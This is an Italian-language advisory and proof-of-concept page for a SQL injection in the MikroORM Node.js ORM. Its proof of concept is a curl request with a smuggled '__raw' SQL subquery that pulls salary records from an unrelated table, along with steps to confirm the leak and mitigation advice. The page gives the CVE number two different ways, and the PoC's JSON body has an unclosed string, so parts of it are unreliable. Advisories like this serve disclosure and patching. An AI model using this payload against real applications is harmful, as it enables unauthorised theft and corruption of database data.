Torna agli aggiornamenti
UpdatedSep 2, 2026

CVE-2026-34220 — Updated!

Vulnerabilità di SQL Injection in MikroORM

Condividi

CVE-2026-43220 MikroORM SQL Injection

★ CVE-2026-43220 MikroORM SQL Injection PoC ★

https://github.com/user-attachments/assets/33724cfc-6151-47ff-9415-2f50c5124cd1


Panoramica

CVE-2026-43220 è una vulnerabilità di SQL Injection in MikroORM, un framework ORM ampiamente utilizzato per TypeScript/Node.js.
Quando un valore fornito dall'utente contenente una proprietà __raw viene passato a una colonna di tipo Custom senza validazione, il controllo isRaw() di MikroORM lo identifica come un'espressione Raw SQL interna attendibile e inserisce il valore sql controllato dall'attaccante direttamente nella query generata senza conversione di tipo o sanificazione, causando l'esecuzione non intenzionale di SQL arbitrario.


Versioni interessate

CategoriaVersione
VulnerabileMikroORM versione ≤ 6.4.3 & 7.0.0 ≤ versione ≤ 7.0.5
CorrettaMikroORM 6.4.4 & 7.0.6

Impatto

  • Esfiltrazione non autorizzata di dati sensibili dal database
  • Corruzione o modifica non intenzionale dei record esistenti nel database

Ambiente

docker build -t cve-2026-43220-mikroorm-vuln .
docker run --rm -it -p 3000:3000 --name mikroorm-vuln cve-2026-43220-mikroorm-vuln

PoC

Dopo aver avviato l'ambiente vulnerabile, segui i passaggi seguenti per riprodurre l'attacco.

Passaggio 1. Invia una richiesta con un payload malevolo contenente __raw

Invia un body JSON che includa una proprietà __raw indirizzata a una colonna di tipo Custom.

curl -X POST http://localhost:3000/write \
  -H "Content-Type: application/json" \
  -d '{
    "author":"x",
    "title":"x,
    "content": {
      "__raw": true,
      "sql": "(SELECT group_concat(name || ': ' || salary, ' / ') FROM salaries)"
    }
  }'

Passaggio 2. Controlla la risposta HTTP

Verifica che l'API restituisca una risposta di successo senza alcun errore, indicando che MikroORM ha accettato il payload malevolo come valore valido.

Passaggio 3. Conferma che i dati sensibili sono esfiltrati nel contenuto del post

Verifica che il campo content del post creato contenga il risultato della query dalla tabella salaries (ad esempio, Alice: 5000 / Bob: 7000 / ...), confermando che i dati di una tabella non correlata sono stati silenziosamente incorporati nella risposta senza alcun errore o violazione del controllo degli accessi.


Mitigazione

  • Aggiorna a MikroORM 6.4.4 o versione successiva, che introduce la verifica dell'origine in isRaw() per rifiutare le proprietà __raw fornite dall'esterno
  • Applica una validazione dell'input basata su whitelist per rifiutare proprietà inattese come __raw prima di passare i valori al livello ORM

Analisi

Categorie